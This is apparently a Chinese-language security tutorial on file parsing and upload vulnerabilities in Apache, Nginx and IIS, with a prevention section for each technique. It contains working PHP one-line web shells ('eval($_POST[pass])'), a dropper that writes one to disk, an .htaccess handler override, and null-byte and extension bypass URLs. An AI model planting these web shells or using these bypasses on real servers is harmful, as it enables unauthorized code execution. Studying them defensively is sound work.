题语
是指中间件(Apache、nginx、iis等)在解析文件时出现了漏洞,从而,黑客可以利用该漏洞实现非法文件的解析。
文件解析漏洞与文件上传漏洞是两个不同的漏洞概念,文件解析漏洞是利用了中间件(Apache、nginx、iis等)配置不当的弱点进行攻击。
Apache将从右至左开始判断后缀,若x3非可识别后缀,再判断x2,一直到找到可识别后缀为止,然后将该可识别后缀进解析。Apache的文件解析过程是从右到左开始判断解析,如果为不可识别的后缀解析,就再往左判断。
在Apache的解析中,除了“php|php3|phtml”等规定的后缀中,任何的后缀加入,都是不会被识别解析的,也会被跳过后缀处理。
举栗子:
jaky.php.k1.w2.a3 结果则会执行:jaky.php
扩展知识:.htaccess文件
.htaccess文件是运行Apache Web Server的Web服务器的配置文件,对配置和重定向Apache Web Server文件系统很有用
如果Apache中.htaccess可被执行并可被上传,那么可以尝试在.htaccess中写入
<FilesMatch "jaky.jpg"> SetHandler application/x-httpd-php </FilesMatch>
“jaky.jpg”文件中写的是木马文件,再把jaky.jpg”上传到受害者服务器中。此时“jaky.jpg”是会被当作“jaky.php”,就可以被攻击者所利用。
预防方案:进行文件后缀名限制,建议使用白名单设置。
Nginx 默认是以 CGI 的方式支持 PHP 解析的,普遍的做法是在 Nginx 配置文件中通过正则匹配设置 SCRIPT_FILENAME。
当php的配置文件中的选项cgi.fix_pathinfo = 1开启时,当访问http://www.xxxx.com/a.txt/a.php时,若a.php不存在,则PHP会递归向前解析,将a.txt当作php脚本来解析。
IIS中:任意文件名/任意文件名.php就会被解析为php
Nginx中:任意文件名/任意文件名.php就会被解析为php
举栗子:
在受害者的服务器中,上传jaky.jpg文件,并在文件中写入以下内容:
、
<?PHP fputs(fopen('jaky.php','w'),'<?php eval($_POST[pass])?>');?>
然后访问文件所在的目录,并在jaky.jpg文件后面跟上“/.php”访问执行,就会在当前目录下生成一个jaky.php的一句话木马
http://www.xxxx.com/abc/jaky.jpg/.php
预防方案:
1、在可上传的目录中应该设置好文件的权限问题,避免PHP文件的执行。
2、在“.htaccess”文件中做好限制“/.php”的限制
3、如果在没必要的情况下。cgi.fix_pathinfo 的值应该设置为0.
由于windows系统会将文件的后缀名中空格以及点进行过滤,如果遇到是黑名单校验的,如限制不允许上传PHP文件,而受害者系统又是windows系统,那么我们可以上传jaky.php ,或者jaky.php.通过这种方式就可以绕过黑名单检验的文件上传。
此处有一个空格(|为光标)
此处有一个点
预防方案:建议文件后缀名采用白名单处理,确保没有漏网之鱼。
一般GIF图片用文本编辑器打开的时候,可以看到文件头是采用了“GIF89a”的字样。
GIF89a图形文件就是一个根据图形交换格式。在Web上所见到的大多数图形都是以89a版的格式创建的。89a版的一个最主要的优势就是可以创建动态图像。
举栗子:
将以下内容写入并保存为PHP的文件,将此文件上传到受害者服务器中。就会被执行利用
GIF89a;
<?php eval($_POST[pass])?>
说明:这种漏洞利用成功的前提是,只是检测文件头,不检测后缀名的情况下。
预防方案:1、建议文件后缀名采用白名单处理
2、对于图片的处理,可以使用压缩函数或者resize函数,在处理图片的同时破坏图片中可能包含的恶意代码。
3、随机改写文件名,让攻击者找不到文件。
4、上传目录应该做权限不可执行设置。
0x04:filepath/filetype漏洞
1、filepath漏洞是为了防止上传文件被重新命名归置文件而诞生的另一种攻击手段。我们可以Burp抓包来更改数据包里面的内容。将“filepath”中加入自己创建的路径名来篡改上传的文件的路径。
举栗子:
说明:上传成功的jpg文件会被存放到“upfile.asp”中,并且jpg文件会被当作asp文件被执行。
2、filetype漏洞主要的利用方式是利用请求数据包中的“content-type”字段.将正常请求数据包中的“content-type:images/jpeg”更改为“content-type:text/asp”再对请求的文件进行空字节截断的方式配合攻击。
content-type列表可参考“https://tool.oschina.net/commons/”
预防方案:1、上传目录应该做权限不可执行设置。
2、将随机的路径变量改为常量设置。
3、对上传的文件进行后缀名的白名单限制
0x05:空字节截断利用漏洞(%00)
旧版本中(0.5.,**0.6.,0.7,0.8<=0.7.65<=0.8.37)。可以通过利用此漏洞,攻击者可以导致服务器使用 PHP 的 FastCGI 作为 PHP 的服务器上执行任何公开访问的文件。
1、攻击者发出请求http://www.xxxx.com/jaky.abc%00.php。就会将jaky.abc作为 PHP 文件解析。
2、上传文件中。并用Burp抓包,在Repeater的Hex中更改此代码“ma1.asp+jpg”将“+”中的Hex更改为“00”。
原二进制代码为“2b”
更改为“00”
预防方案:1、建议升级中间件的版本
2、限制上传目录的权限
3、做文件后缀的白名单的限制
iconv函数是PHP中的函数之一。作用是,将用户任何上传的文件都将保存为jpg文件,来防止攻击者恶意攻击。但是攻击者还是可以利用80-EF截断来绕过此限制。
原理为,将HEX中的代码修改为80到EF中来进行截断,如果此截断利用成功的话,用户上传的任意文件都会被上传成功。
举栗子:
如果上传的文件为jaky.php ,并用Burp进行截断操作的时候,将jaky.php后面的空格HEX值改为80到任意的EF中的任意一个,就可以将恶意文件上传成功。
说明:在linux环境下不会截断,在windows下成功
预防方案:
推荐使用mb_convert_encoding函数转换编码,函数说明参考 http://www.php.net/mb_convert_encoding
0x05:双文件并发上传漏洞
在一个上传的地方处,按F12进行查看元素代码操作。修改action 值为完整路径。然后复制粘贴上传浏览文件<input ......>,这样就会出现两个上传框,第一个上传正常文件,第二个选择恶意木马木马,然后进行并发提交。
F12正常代码
修改后的代码
预防方案:1、限制上传文件目录的执行权限
2、上传文件的做白名单限制
0x06:总结经验
未知攻,焉知防。世界上没有绝对安全的系统,在于维护者如何去防范漏洞。站在安全的开发角度下,应该规范代码安全开发,才能有效减少漏洞的产生。
在以上所有的预防方案中的前提条件下,还需要加入更多的第三方防护手段。比如,杀毒软件,防火墙,安全狗等。才能更好的保护服务器的安全。